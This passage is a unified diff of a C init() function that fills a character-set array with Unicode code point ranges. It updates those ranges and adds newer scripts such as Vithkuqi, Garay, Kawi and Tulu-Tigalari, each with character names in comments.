+	charset[i++] = 0xcde;	// KANNADA LETTER FA
 	c = 0xce0;		// from KANNADA LETTER VOCALIC RR
 	while (c <= 0xce3)	// ..to KANNADA VOWEL SIGN VOCALIC LL
 		charset[i++] = c++;
@@ -414,7 +416,7 @@ void init()
 	while (c <= 0xcef)	// ..to KANNADA DIGIT NINE
 		charset[i++] = c++;
 	charset[i++] = 0xcf1;	// KANNADA SIGN JIHVAMULIYA
-	charset[i++] = 0xcf2;	// KANNADA SIGN UPADHMANIYA
+	charset[i++] = 0xcf3;	// KANNADA SIGN COMBINING ANUSVARA ABOVE RIGHT
 // 0D00..0D7F; Malayalam
 	c = 0xd00;		// from MALAYALAM SIGN COMBINING ANUSVARA ABOVE
 	while (c <= 0xd0c)	// ..to MALAYALAM LETTER VOCALIC L
@@ -484,7 +486,7 @@ void init()
 	while (c <= 0xec4)	// ..to LAO VOWEL SIGN AI
 		charset[i++] = c++;
 	c = 0xec8;		// from LAO TONE MAI EK
-	while (c <= 0xecd)	// ..to LAO NIGGAHITA
+	while (c <= 0xece)	// ..to LAO YAMAKKAN
 		charset[i++] = c++;
 	c = 0xed0;		// from LAO DIGIT ZERO
 	while (c <= 0xed9)	// ..to LAO DIGIT NINE
@@ -597,11 +599,9 @@ void init()
 		charset[i++] = c++;
 // 1700..171F; Tagalog
 	c = 0x1700;		// from TAGALOG LETTER A
-	while (c <= 0x170c)	// ..to TAGALOG LETTER YA
-		charset[i++] = c++;
-	c = 0x170e;		// from TAGALOG LETTER LA
-	while (c <= 0x1714)	// ..to TAGALOG SIGN VIRAMA
+	while (c <= 0x1715)	// ..to TAGALOG SIGN PAMUDPOD
 		charset[i++] = c++;
+	charset[i++] = 0x171f;	// TAGALOG LETTER ARCHAIC RA
 // 1720..173F; Hanunoo
 	c = 0x1720;		// from HANUNOO LETTER A
 	while (c <= 0x1736)	// ..to PHILIPPINE DOUBLE PUNCTUATION
@@ -630,9 +630,6 @@ void init()
 		charset[i++] = c++;
 // 1800..18AF; Mongolian
 	c = 0x1800;		// from MONGOLIAN BIRGA
-	while (c <= 0x180e)	// ..to MONGOLIAN VOWEL SEPARATOR
-		charset[i++] = c++;
-	c = 0x1810;		// from MONGOLIAN DIGIT ZERO
 	while (c <= 0x1819)	// ..to MONGOLIAN DIGIT NINE
 		charset[i++] = c++;
 	c = 0x1820;		// from MONGOLIAN LETTER A
@@ -705,14 +702,14 @@ void init()
 		charset[i++] = c++;
 // 1AB0..1AFF; Combining Diacritical Marks Extended
 	c = 0x1ab0;		// from COMBINING DOUBLED CIRCUMFLEX ACCENT
-	while (c <= 0x1ac0)	// ..to COMBINING LATIN SMALL LETTER TURNED W BELOW
+	while (c <= 0x1ace)	// ..to COMBINING LATIN SMALL LETTER INSULAR T
 		charset[i++] = c++;
 // 1B00..1B7F; Balinese
 	c = 0x1b00;		// from BALINESE SIGN ULU RICEM
-	while (c <= 0x1b4b)	// ..to BALINESE LETTER ASYURA SASAK
+	while (c <= 0x1b4c)	// ..to BALINESE LETTER ARCHAIC JNYA
 		charset[i++] = c++;
-	c = 0x1b50;		// from BALINESE DIGIT ZERO
-	while (c <= 0x1b7c)	// ..to BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PING
+	c = 0x1b4e;		// from BALINESE INVERTED CARIK SIKI
+	while (c <= 0x1b7f)	// ..to BALINESE PANTI BAWAK
 		charset[i++] = c++;
 // 1B80..1BBF; Sundanese
 	c = 0x1b80;		// from SUNDANESE SIGN PANYECEK
@@ -740,7 +737,7 @@ void init()
 		charset[i++] = c++;
 // 1C80..1C8F; Cyrillic Extended-C
 	c = 0x1c80;		// from CYRILLIC SMALL LETTER ROUNDED VE
-	while (c <= 0x1c88)	// ..to CYRILLIC SMALL LETTER UNBLENDED UK
+	while (c <= 0x1c8a)	// ..to CYRILLIC SMALL LETTER TJE
 		charset[i++] = c++;
 // 1C90..1CBF; Georgian Extended
 	c = 0x1c90;		// from GEORGIAN MTAVRULI CAPITAL LETTER AN
@@ -766,9 +763,6 @@ void init()
 		charset[i++] = c++;
 // 1DC0..1DFF; Combining Diacritical Marks Supplement
 	c = 0x1dc0;		// from COMBINING DOTTED GRAVE ACCENT
-	while (c <= 0x1df9)	// ..to COMBINING WIDE INVERTED BRIDGE BELOW
-		charset[i++] = c++;
-	c = 0x1dfb;		// from COMBINING DELETION MARK
 	while (c <= 0x1dff)	// ..to COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW
 		charset[i++] = c++;
 // 1E00..1EFF; Latin Extended Additional
@@ -832,7 +826,7 @@ void init()
 		charset[i++] = c++;
 // 20A0..20CF; Currency Symbols
 	c = 0x20a0;		// from EURO-CURRENCY SIGN
-	while (c <= 0x20bf)	// ..to BITCOIN SIGN
+	while (c <= 0x20c0)	// ..to SOM SIGN
 		charset[i++] = c++;
 // 20D0..20FF; Combining Diacritical Marks for Symbols
 	c = 0x20d0;		// from COMBINING LEFT HARPOON ABOVE
@@ -860,7 +854,7 @@ void init()
 		charset[i++] = c++;
 // 2400..243F; Control Pictures
 	c = 0x2400;		// from SYMBOL FOR NULL
-	while (c <= 0x2426)	// ..to SYMBOL FOR SUBSTITUTE FORM TWO
+	while (c <= 0x2429)	// ..to SYMBOL FOR DELETE MEDIUM SHADE FORM
 		charset[i++] = c++;
 // 2440..245F; Optical Character Recognition
 	c = 0x2440;		// from OCR HOOK
@@ -926,10 +920,7 @@ void init()
 		charset[i++] = c++;
 // 2C00..2C5F; Glagolitic
 	c = 0x2c00;		// from GLAGOLITIC CAPITAL LETTER AZU
-	while (c <= 0x2c2e)	// ..to GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE
-		charset[i++] = c++;
-	c = 0x2c30;		// from GLAGOLITIC SMALL LETTER AZU
-	while (c <= 0x2c5e)	// ..to GLAGOLITIC SMALL LETTER LATINATE MYSLITE
+	while (c <= 0x2c5f)	// ..to GLAGOLITIC SMALL LETTER CAUDATE CHRIVI
 		charset[i++] = c++;
 // 2C60..2C7F; Latin Extended-C
 	c = 0x2c60;		// from LATIN CAPITAL LETTER L WITH DOUBLE BAR
@@ -990,7 +981,7 @@ void init()
 		charset[i++] = c++;
 // 2E00..2E7F; Supplemental Punctuation
 	c = 0x2e00;		// from RIGHT ANGLE SUBSTITUTION MARKER
-	while (c <= 0x2e52)	// ..to TIRONIAN SIGN CAPITAL ET
+	while (c <= 0x2e5d)	// ..to OBLIQUE HYPHEN
 		charset[i++] = c++;
 // 2E80..2EFF; CJK Radicals Supplement
 	c = 0x2e80;		// from CJK RADICAL REPEAT
@@ -1005,7 +996,7 @@ void init()
 		charset[i++] = c++;
 // 2FF0..2FFF; Ideographic Description Characters
 	c = 0x2ff0;		// from IDEOGRAPHIC DESCRIPTION CHARACTER LEFT TO RIGHT
-	while (c <= 0x2ffb)	// ..to IDEOGRAPHIC DESCRIPTION CHARACTER OVERLAID
+	while (c <= 0x2fff)	// ..to IDEOGRAPHIC DESCRIPTION CHARACTER ROTATION
 		charset[i++] = c++;
 // 3000..303F; CJK Symbols and Punctuation
 	c = 0x3000;		// from IDEOGRAPHIC SPACE
@@ -1040,8 +1031,9 @@ void init()
 		charset[i++] = c++;
 // 31C0..31EF; CJK Strokes
 	c = 0x31c0;		// from CJK STROKE T
-	while (c <= 0x31e3)	// ..to CJK STROKE Q
+	while (c <= 0x31e5)	// ..to CJK STROKE SZP
 		charset[i++] = c++;
+	charset[i++] = 0x31ef;	// IDEOGRAPHIC DESCRIPTION CHARACTER SUBTRACTION
 // 31F0..31FF; Katakana Phonetic Extensions
 	c = 0x31f0;		// from KATAKANA LETTER SMALL KU
 	while (c <= 0x31ff)	// ..to KATAKANA LETTER SMALL RO
@@ -1067,7 +1059,7 @@ void init()
 		charset[i++] = c++;
 // 4E00..9FFF; CJK Unified Ideographs
 	c = 0x4e00;		// from <CJK Ideograph, First>
-	while (c <= 0x9ffc)	// ..to <CJK Ideograph, Last>
+	while (c <= 0x9fff)	// ..to <CJK Ideograph, Last>
 		charset[i++] = c++;
 // A000..A48F; Yi Syllables
 	c = 0xa000;		// from YI SYLLABLE IT
@@ -1099,12 +1091,14 @@ void init()
 		charset[i++] = c++;
 // A720..A7FF; Latin Extended-D
 	c = 0xa720;		// from MODIFIER LETTER STRESS AND HIGH TONE
-	while (c <= 0xa7bf)	// ..to LATIN SMALL LETTER GLOTTAL U
+	while (c <= 0xa7cd)	// ..to LATIN SMALL LETTER S WITH DIAGONAL STROKE
 		charset[i++] = c++;
-	c = 0xa7c2;		// from LATIN CAPITAL LETTER ANGLICANA W
-	while (c <= 0xa7ca)	// ..to LATIN SMALL LETTER S WITH SHORT STROKE OVERLAY
+	charset[i++] = 0xa7d0;	// LATIN CAPITAL LETTER CLOSED INSULAR G
+	charset[i++] = 0xa7d1;	// LATIN SMALL LETTER CLOSED INSULAR G
+	c = 0xa7d5;		// from LATIN SMALL LETTER DOUBLE WYNN
+	while (c <= 0xa7dc)	// ..to LATIN CAPITAL LETTER LAMBDA WITH STROKE
 		charset[i++] = c++;
-	c = 0xa7f5;		// from LATIN CAPITAL LETTER REVERSED HALF H
+	c = 0xa7f2;		// from MODIFIER LETTER CAPITAL C
 	while (c <= 0xa7ff)	// ..to LATIN EPIGRAPHIC LETTER ARCHAIC M
 		charset[i++] = c++;
 // A800..A82F; Syloti Nagri
@@ -1259,19 +1253,16 @@ void init()
 		charset[i++] = c++;
 // FB50..FDFF; Arabic Presentation Forms-A
 	c = 0xfb50;		// from ARABIC LETTER ALEF WASLA ISOLATED FORM
-	while (c <= 0xfbc1)	// ..to ARABIC SYMBOL SMALL TAH BELOW
+	while (c <= 0xfbc2)	// ..to ARABIC SYMBOL WASLA ABOVE
 		charset[i++] = c++;
 	c = 0xfbd3;		// from ARABIC LETTER NG ISOLATED FORM
-	while (c <= 0xfd3f)	// ..to ORNATE RIGHT PARENTHESIS
-		charset[i++] = c++;
-	c = 0xfd50;		// from ARABIC LIGATURE TEH WITH JEEM WITH MEEM INITIAL FORM
 	while (c <= 0xfd8f)	// ..to ARABIC LIGATURE MEEM WITH KHAH WITH MEEM INITIAL FORM
 		charset[i++] = c++;
 	c = 0xfd92;		// from ARABIC LIGATURE MEEM WITH JEEM WITH KHAH INITIAL FORM
 	while (c <= 0xfdc7)	// ..to ARABIC LIGATURE NOON WITH JEEM WITH YEH FINAL FORM
 		charset[i++] = c++;
 	c = 0xfdf0;		// from ARABIC LIGATURE SALLA USED AS KORANIC STOP SIGN ISOLATED FORM
-	while (c <= 0xfdfd)	// ..to ARABIC LIGATURE BISMILLAH AR-RAHMAN AR-RAHEEM
+	while (c <= 0xfdff)	// ..to ARABIC LIGATURE AZZA WA JALL
 		charset[i++] = c++;
 // FE00..FE0F; Variation Selectors
 	c = 0xfe00;		// from VARIATION SELECTOR-1
@@ -1444,6 +1435,33 @@ void init()
 	while (c <= 0x10563)	// ..to CAUCASIAN ALBANIAN LETTER KIW
 		charset[i++] = c++;
 	charset[i++] = 0x1056f;	// CAUCASIAN ALBANIAN CITATION MARK
+// 10570..105BF; Vithkuqi
+	c = 0x10570;		// from VITHKUQI CAPITAL LETTER A
+	while (c <= 0x1057a)	// ..to VITHKUQI CAPITAL LETTER GA
+		charset[i++] = c++;
+	c = 0x1057c;		// from VITHKUQI CAPITAL LETTER HA
+	while (c <= 0x1058a)	// ..to VITHKUQI CAPITAL LETTER RE
+		charset[i++] = c++;
+	c = 0x1058c;		// from VITHKUQI CAPITAL LETTER SE
+	while (c <= 0x10592)	// ..to VITHKUQI CAPITAL LETTER XE
+		charset[i++] = c++;
+	charset[i++] = 0x10594;	// VITHKUQI CAPITAL LETTER Y
+	charset[i++] = 0x10595;	// VITHKUQI CAPITAL LETTER ZE
+	c = 0x10597;		// from VITHKUQI SMALL LETTER A
+	while (c <= 0x105a1)	// ..to VITHKUQI SMALL LETTER GA
+		charset[i++] = c++;
+	c = 0x105a3;		// from VITHKUQI SMALL LETTER HA
+	while (c <= 0x105b1)	// ..to VITHKUQI SMALL LETTER RE
+		charset[i++] = c++;
+	c = 0x105b3;		// from VITHKUQI SMALL LETTER SE
+	while (c <= 0x105b9)	// ..to VITHKUQI SMALL LETTER XE
+		charset[i++] = c++;
+	charset[i++] = 0x105bb;	// VITHKUQI SMALL LETTER Y
+	charset[i++] = 0x105bc;	// VITHKUQI SMALL LETTER ZE
+// 105C0..105FF; Todhri
+	c = 0x105c0;		// from TODHRI LETTER A
+	while (c <= 0x105f3)	// ..to TODHRI LETTER OO
+		charset[i++] = c++;
 // 10600..1077F; Linear A
 	c = 0x10600;		// from LINEAR A SIGN AB001
 	while (c <= 0x10736)	// ..to LINEAR A SIGN A664
@@ -1454,6 +1472,16 @@ void init()
 	c = 0x10760;		// from LINEAR A SIGN A800
 	while (c <= 0x10767)	// ..to LINEAR A SIGN A807
 		charset[i++] = c++;
+// 10780..107BF; Latin Extended-F
+	c = 0x10780;		// from MODIFIER LETTER SMALL CAPITAL AA
+	while (c <= 0x10785)	// ..to MODIFIER LETTER SMALL B WITH HOOK
+		charset[i++] = c++;
+	c = 0x10787;		// from MODIFIER LETTER SMALL DZ DIGRAPH
+	while (c <= 0x107b0)	// ..to MODIFIER LETTER SMALL V WITH RIGHT HOOK
+		charset[i++] = c++;
+	c = 0x107b2;		// from MODIFIER LETTER SMALL CAPITAL Y
+	while (c <= 0x107ba)	// ..to MODIFIER LETTER SMALL S WITH CURL
+		charset[i++] = c++;
 // 10800..1083F; Cypriot Syllabary
 	c = 0x10800;		// from CYPRIOT SYLLABLE A
 	while (c <= 0x10805)	// ..to CYPRIOT SYLLABLE JA
@@ -1606,6 +1634,15 @@ void init()
 	c = 0x10d30;		// from HANIFI ROHINGYA DIGIT ZERO
 	while (c <= 0x10d39)	// ..to HANIFI ROHINGYA DIGIT NINE
 		charset[i++] = c++;
+// 10D40..10D8F; Garay
+	c = 0x10d40;		// from GARAY DIGIT ZERO
+	while (c <= 0x10d65)	// ..to GARAY CAPITAL LETTER OLD NA
+		charset[i++] = c++;
+	c = 0x10d69;		// from GARAY VOWEL SIGN E
+	while (c <= 0x10d85)	// ..to GARAY SMALL LETTER OLD NA
+		charset[i++] = c++;
+	charset[i++] = 0x10d8e;	// GARAY PLUS SIGN
+	charset[i++] = 0x10d8f;	// GARAY MINUS SIGN
 // 10E60..10E7F; Rumi Numeral Symbols
 	c = 0x10e60;		// from RUMI DIGIT ONE
 	while (c <= 0x10e7e)	// ..to RUMI FRACTION TWO THIRDS
@@ -1618,6 +1655,12 @@ void init()
 	charset[i++] = 0x10ead;	// YEZIDI HYPHENATION MARK
 	charset[i++] = 0x10eb0;	// YEZIDI LETTER LAM WITH DOT ABOVE
 	charset[i++] = 0x10eb1;	// YEZIDI LETTER YOT WITH CIRCUMFLEX ABOVE
+// 10EC0..10EFF; Arabic Extended-C
+	charset[i++] = 0x10ec2;	// ARABIC LETTER DAL WITH TWO DOTS VERTICALLY BELOW
+	charset[i++] = 0x10ec4;	// ARABIC LETTER KAF WITH TWO DOTS VERTICALLY BELOW
+	c = 0x10efc;		// from ARABIC COMBINING ALEF OVERLAY
+	while (c <= 0x10eff)	// ..to ARABIC SMALL LOW WORD MADDA
+		charset[i++] = c++;
 // 10F00..10F2F; Old Sogdian
 	c = 0x10f00;		// from OLD SOGDIAN LETTER ALEPH
 	while (c <= 0x10f27)	// ..to OLD SOGDIAN LIGATURE AYIN-DALETH
@@ -1626,6 +1669,10 @@ void init()
 	c = 0x10f30;		// from SOGDIAN LETTER ALEPH
 	while (c <= 0x10f59)	// ..to SOGDIAN PUNCTUATION HALF CIRCLE WITH DOT
 		charset[i++] = c++;
+// 10F70..10FAF; Old Uyghur
+	c = 0x10f70;		// from OLD UYGHUR LETTER ALEPH
+	while (c <= 0x10f89)	// ..to OLD UYGHUR PUNCTUATION FOUR DOTS
+		charset[i++] = c++;
 // 10FB0..10FDF; Chorasmian
 	c = 0x10fb0;		// from CHORASMIAN LETTER ALEPH
 	while (c <= 0x10fcb)	// ..to CHORASMIAN NUMBER ONE HUNDRED
@@ -1639,12 +1686,12 @@ void init()
 	while (c <= 0x1104d)	// ..to BRAHMI PUNCTUATION LOTUS
 		charset[i++] = c++;
 	c = 0x11052;		// from BRAHMI NUMBER ONE
-	while (c <= 0x1106f)	// ..to BRAHMI DIGIT NINE
+	while (c <= 0x11075)	// ..to BRAHMI LETTER OLD TAMIL LLA
 		charset[i++] = c++;
 	charset[i++] = 0x1107f;	// BRAHMI NUMBER JOINER
 // 11080..110CF; Kaithi
 	c = 0x11080;		// from KAITHI SIGN CANDRABINDU
-	while (c <= 0x110c1)	// ..to KAITHI DOUBLE DANDA
+	while (c <= 0x110c2)	// ..to KAITHI VOWEL SIGN VOCALIC R
 		charset[i++] = c++;
 	charset[i++] = 0x110cd;	// KAITHI NUMBER SIGN ABOVE
 // 110D0..110FF; Sora Sompeng
@@ -1678,7 +1725,7 @@ void init()
 	while (c <= 0x11211)	// ..to KHOJKI LETTER JJA
 		charset[i++] = c++;
 	c = 0x11213;		// from KHOJKI LETTER NYA
-	while (c <= 0x1123e)	// ..to KHOJKI SIGN SUKUN
+	while (c <= 0x11241)	// ..to KHOJKI VOWEL SIGN VOCALIC R
 		charset[i++] = c++;
 // 11280..112AF; Multani
 	c = 0x11280;		// from MULTANI LETTER A
@@ -1736,6 +1783,26 @@ void init()
 	c = 0x11370;		// from COMBINING GRANTHA LETTER A
 	while (c <= 0x11374)	// ..to COMBINING GRANTHA LETTER PA
 		charset[i++] = c++;
+// 11380..113FF; Tulu-Tigalari
+	c = 0x11380;		// from TULU-TIGALARI LETTER A
+	while (c <= 0x11389)	// ..to TULU-TIGALARI LETTER VOCALIC LL
+		charset[i++] = c++;
+	c = 0x11390;		// from TULU-TIGALARI LETTER OO
+	while (c <= 0x113b5)	// ..to TULU-TIGALARI LETTER LLLA
+		charset[i++] = c++;
+	c = 0x113b7;		// from TULU-TIGALARI SIGN AVAGRAHA
+	while (c <= 0x113c0)	// ..to TULU-TIGALARI VOWEL SIGN VOCALIC LL
+		charset[i++] = c++;
+	c = 0x113c7;		// from TULU-TIGALARI VOWEL SIGN OO
+	while (c <= 0x113ca)	// ..to TULU-TIGALARI SIGN CANDRA ANUNASIKA
+		charset[i++] = c++;
+	c = 0x113cc;		// from TULU-TIGALARI SIGN ANUSVARA
+	while (c <= 0x113d5)	// ..to TULU-TIGALARI DOUBLE DANDA
+		charset[i++] = c++;
+	charset[i++] = 0x113d7;	// TULU-TIGALARI SIGN OM PUSHPIKA
+	charset[i++] = 0x113d8;	// TULU-TIGALARI SIGN SHRII PUSHPIKA
+	charset[i++] = 0x113e1;	// TULU-TIGALARI VEDIC TONE SVARITA
+	charset[i++] = 0x113e2;	// TULU-TIGALARI VEDIC TONE ANUDATTA
 // 11400..1147F; Newa
 	c = 0x11400;		// from NEWA LETTER A
 	while (c <= 0x1145b)	// ..to NEWA PLACEHOLDER MARK
@@ -1770,12 +1837,16 @@ void init()
 		charset[i++] = c++;
 // 11680..116CF; Takri
 	c = 0x11680;		// from TAKRI LETTER A
-	while (c <= 0x116b8)	// ..to TAKRI LETTER ARCHAIC KHA
+	while (c <= 0x116b9)	// ..to TAKRI ABBREVIATION SIGN
 		charset[i++] = c++;
 	c = 0x116c0;		// from TAKRI DIGIT ZERO
 	while (c <= 0x116c9)	// ..to TAKRI DIGIT NINE
 		charset[i++] = c++;
-// 11700..1173F; Ahom
+// 116D0..116FF; Myanmar Extended-C
+	c = 0x116d0;		// from MYANMAR PAO DIGIT ZERO
+	while (c <= 0x116e3)	// ..to MYANMAR EASTERN PWO KAREN DIGIT NINE
+		charset[i++] = c++;
+// 11700..1174F; Ahom
 	c = 0x11700;		// from AHOM LETTER KA
 	while (c <= 0x1171a)	// ..to AHOM LETTER ALTERNATE BA
 		charset[i++] = c++;
@@ -1783,7 +1854,7 @@ void init()
 	while (c <= 0x1172b)	// ..to AHOM SIGN KILLER
 		charset[i++] = c++;
 	c = 0x11730;		// from AHOM DIGIT ZERO
-	while (c <= 0x1173f)	// ..to AHOM SYMBOL VI
+	while (c <= 0x11746)	// ..to AHOM LETTER LLA
 		charset[i++] = c++;
 // 11800..1184F; Dogra
 	c = 0x11800;		// from DOGRA LETTER A
@@ -1832,10 +1903,25 @@ void init()
 	c = 0x11a50;		// from SOYOMBO LETTER A
 	while (c <= 0x11aa2)	// ..to SOYOMBO TERMINAL MARK-2
 		charset[i++] = c++;
+// 11AB0..11ABF; Unified Canadian Aboriginal Syllabics Extended-A
+	c = 0x11ab0;		// from CANADIAN SYLLABICS NATTILIK HI
+	while (c <= 0x11abf)	// ..to CANADIAN SYLLABICS SPA
+		charset[i++] = c++;
 // 11AC0..11AFF; Pau Cin Hau
 	c = 0x11ac0;		// from PAU CIN HAU LETTER PA
 	while (c <= 0x11af8)	// ..to PAU CIN HAU GLOTTAL STOP FINAL
 		charset[i++] = c++;
+// 11B00..11B5F; Devanagari Extended-A
+	c = 0x11b00;		// from DEVANAGARI HEAD MARK
+	while (c <= 0x11b09)	// ..to DEVANAGARI SIGN MINDU
+		charset[i++] = c++;
+// 11BC0..11BFF; Sunuwar
+	c = 0x11bc0;		// from SUNUWAR LETTER DEVI
+	while (c <= 0x11be1)	// ..to SUNUWAR SIGN PVO
+		charset[i++] = c++;
+	c = 0x11bf0;		// from SUNUWAR DIGIT ZERO
+	while (c <= 0x11bf9)	// ..to SUNUWAR DIGIT NINE
+		charset[i++] = c++;
 // 11C00..11C6F; Bhaiksuki
 	c = 0x11c00;		// from BHAIKSUKI LETTER A
 	while (c <= 0x11c08)	// ..to BHAIKSUKI LETTER VOCALIC L
@@ -1897,6 +1983,16 @@ void init()
 	c = 0x11ee0;		// from MAKASAR LETTER KA
 	while (c <= 0x11ef8)	// ..to MAKASAR END OF SECTION
 		charset[i++] = c++;
+// 11F00..11F5F; Kawi
+	c = 0x11f00;		// from KAWI SIGN CANDRABINDU
+	while (c <= 0x11f10)	// ..to KAWI LETTER O
+		charset[i++] = c++;
+	c = 0x11f12;		// from KAWI LETTER KA
+	while (c <= 0x11f3a)	// ..to KAWI VOWEL SIGN VOCALIC R
+		charset[i++] = c++;
+	c = 0x11f3e;		// from KAWI VOWEL SIGN E
+	while (c <= 0x11f5a)	// ..to KAWI SIGN NUKTA
+		charset[i++] = c++;
 // 11FB0..11FBF; Lisu Supplement
 	charset[i++] = 0x11fb0;	// LISU LETTER YHA
 // 11FC0..11FFF; Tamil Supplement
@@ -1919,18 +2015,30 @@ void init()
 	c = 0x12480;		// from CUNEIFORM SIGN AB TIMES NUN TENU
 	while (c <= 0x12543)	// ..to CUNEIFORM SIGN ZU5 TIMES THREE DISH TENU
 		charset[i++] = c++;
+// 12F90..12FFF; Cypro-Minoan
+	c = 0x12f90;		// from CYPRO-MINOAN SIGN CM001
+	while (c <= 0x12ff2)	// ..to CYPRO-MINOAN SIGN CM302
+		charset[i++] = c++;
 // 13000..1342F; Egyptian Hieroglyphs
 	c = 0x13000;		// from EGYPTIAN HIEROGLYPH A001
-	while (c <= 0x1342e)	// ..to EGYPTIAN HIEROGLYPH AA032
+	while (c <= 0x1342f)	// ..to EGYPTIAN HIEROGLYPH V011D
 		charset[i++] = c++;
-// 13430..1343F; Egyptian Hieroglyph Format Controls
+// 13430..1345F; Egyptian Hieroglyph Format Controls
 	c = 0x13430;		// from EGYPTIAN HIEROGLYPH VERTICAL JOINER
-	while (c <= 0x13438)	// ..to EGYPTIAN HIEROGLYPH END SEGMENT
+	while (c <= 0x13455)	// ..to EGYPTIAN HIEROGLYPH MODIFIER DAMAGED
+		charset[i++] = c++;
+// 13460..143FF; Egyptian Hieroglyphs Extended-A
+	c = 0x13460;		// from EGYPTIAN HIEROGLYPH-13460
+	while (c <= 0x143fa)	// ..to EGYPTIAN HIEROGLYPH-143FA
 		charset[i++] = c++;
 // 14400..1467F; Anatolian Hieroglyphs
 	c = 0x14400;		// from ANATOLIAN HIEROGLYPH A001
 	while (c <= 0x14646)	// ..to ANATOLIAN HIEROGLYPH A530
 		charset[i++] = c++;
+// 16100..1613F; Gurung Khema
+	c = 0x16100;		// from GURUNG KHEMA LETTER A
+	while (c <= 0x16139)	// ..to GURUNG KHEMA DIGIT NINE
+		charset[i++] = c++;
 // 16800..16A3F; Bamum Supplement
 	c = 0x16800;		// from BAMUM LETTER PHASE-A NGKUE MFON
 	while (c <= 0x16a38)	// ..to BAMUM LETTER PHASE-F VUEQ
@@ -1944,6 +2052,13 @@ void init()
 		charset[i++] = c++;
 	charset[i++] = 0x16a6e;	// MRO DANDA
 	charset[i++] = 0x16a6f;	// MRO DOUBLE DANDA
+// 16A70..16ACF; Tangsa
+	c = 0x16a70;		// from TANGSA LETTER OZ
+	while (c <= 0x16abe)	// ..to TANGSA LETTER ZA
+		charset[i++] = c++;
+	c = 0x16ac0;		// from TANGSA DIGIT ZERO
+	while (c <= 0x16ac9)	// ..to TANGSA DIGIT NINE
+		charset[i++] = c++;
 // 16AD0..16AFF; Bassa Vah
 	c = 0x16ad0;		// from BASSA VAH LETTER ENNI
 	while (c <= 0x16aed)	// ..to BASSA VAH LETTER I
@@ -1967,6 +2082,10 @@ void init()
 	c = 0x16b7d;		// from PAHAWH HMONG CLAN SIGN TSHEEJ
 	while (c <= 0x16b8f)	// ..to PAHAWH HMONG CLAN SIGN VWJ
 		charset[i++] = c++;
+// 16D40..16D7F; Kirat Rai
+	c = 0x16d40;		// from KIRAT RAI SIGN ANUSVARA
+	while (c <= 0x16d79)	// ..to KIRAT RAI DIGIT NINE
+		charset[i++] = c++;
 // 16E40..16E9F; Medefaidrin
 	c = 0x16e40;		// from MEDEFAIDRIN CAPITAL LETTER M
 	while (c <= 0x16e9a)	// ..to MEDEFAIDRIN EXCLAMATION OH
@@ -1999,17 +2118,27 @@ void init()
 	c = 0x18b00;		// from KHITAN SMALL SCRIPT CHARACTER-18B00
 	while (c <= 0x18cd5)	// ..to KHITAN SMALL SCRIPT CHARACTER-18CD5
 		charset[i++] = c++;
-// 18D00..18D8F; Tangut Supplement
+	charset[i++] = 0x18cff;	// KHITAN SMALL SCRIPT CHARACTER-18CFF
+// 18D00..18D7F; Tangut Supplement
 	c = 0x18d00;		// from <Tangut Ideograph Supplement, First>
 	while (c <= 0x18d08)	// ..to <Tangut Ideograph Supplement, Last>
 		charset[i++] = c++;
+// 1AFF0..1AFFF; Kana Extended-B
+	c = 0x1aff0;		// from KATAKANA LETTER MINNAN TONE-2
+	while (c <= 0x1aff3)	// ..to KATAKANA LETTER MINNAN TONE-5
+		charset[i++] = c++;
+	c = 0x1aff5;		// from KATAKANA LETTER MINNAN TONE-7
+	while (c <= 0x1affb)	// ..to KATAKANA LETTER MINNAN NASALIZED TONE-5
+		charset[i++] = c++;
+	charset[i++] = 0x1affd;	// KATAKANA LETTER MINNAN NASALIZED TONE-7
+	charset[i++] = 0x1affe;	// KATAKANA LETTER MINNAN NASALIZED TONE-8
 // 1B000..1B0FF; Kana Supplement
 	c = 0x1b000;		// from KATAKANA LETTER ARCHAIC E
 	while (c <= 0x1b0ff)	// ..to HENTAIGANA LETTER RE-2
 		charset[i++] = c++;
 // 1B100..1B12F; Kana Extended-A
 	c = 0x1b100;		// from HENTAIGANA LETTER RE-3
-	while (c <= 0x1b11e)	// ..to HENTAIGANA LETTER N-MU-MO-2
+	while (c <= 0x1b122)	// ..to KATAKANA LETTER ARCHAIC WU
 		charset[i++] = c++;
 // 1B130..1B16F; Small Kana Extension
 	charset[i++] = 0x1b150;	// HIRAGANA LETTER SMALL WI
@@ -2041,6 +2170,23 @@ void init()
 	c = 0x1bca0;		// from SHORTHAND FORMAT LETTER OVERLAP
 	while (c <= 0x1bca3)	// ..to SHORTHAND FORMAT UP STEP
 		charset[i++] = c++;
+// 1CC00..1CEBF; Symbols for Legacy Computing Supplement
+	c = 0x1cc00;		// from UP-POINTING GO-KART
+	while (c <= 0x1ccf9)	// ..to OUTLINED DIGIT NINE
+		charset[i++] = c++;
+	c = 0x1cd00;		// from BLOCK OCTANT-3
+	while (c <= 0x1ceb3)	// ..to BLACK RIGHT TRIANGLE CARET
+		charset[i++] = c++;
+// 1CF00..1CFCF; Znamenny Musical Notation
+	c = 0x1cf00;		// from ZNAMENNY COMBINING MARK GORAZDO NIZKO S KRYZHEM ON LEFT
+	while (c <= 0x1cf2d)	// ..to ZNAMENNY COMBINING MARK KRYZH ON LEFT
+		charset[i++] = c++;
+	c = 0x1cf30;		// from ZNAMENNY COMBINING TONAL RANGE MARK MRACHNO
+	while (c <= 0x1cf46)	// ..to ZNAMENNY PRIZNAK MODIFIER ROG
+		charset[i++] = c++;
+	c = 0x1cf50;		// from ZNAMENNY NEUME KRYUK
+	while (c <= 0x1cfc3)	// ..to ZNAMENNY NEUME PAUK
+		charset[i++] = c++;
 // 1D000..1D0FF; Byzantine Musical Symbols
 	c = 0x1d000;		// from BYZANTINE MUSICAL SYMBOL PSILI
 	while (c <= 0x1d0f5)	// ..to BYZANTINE MUSICAL SYMBOL GORGON NEO KATO
@@ -2050,12 +2196,16 @@ void init()
 	while (c <= 0x1d126)	// ..to MUSICAL SYMBOL DRUM CLEF-2
 		charset[i++] = c++;
 	c = 0x1d129;		// from MUSICAL SYMBOL MULTIPLE MEASURE REST
-	while (c <= 0x1d1e8)	// ..to MUSICAL SYMBOL KIEVAN FLAT SIGN
+	while (c <= 0x1d1ea)	// ..to MUSICAL SYMBOL KORON
 		charset[i++] = c++;
 // 1D200..1D24F; Ancient Greek Musical Notation
 	c = 0x1d200;		// from GREEK VOCAL NOTATION SYMBOL-1
 	while (c <= 0x1d245)	// ..to GREEK MUSICAL LEIMMA
 		charset[i++] = c++;
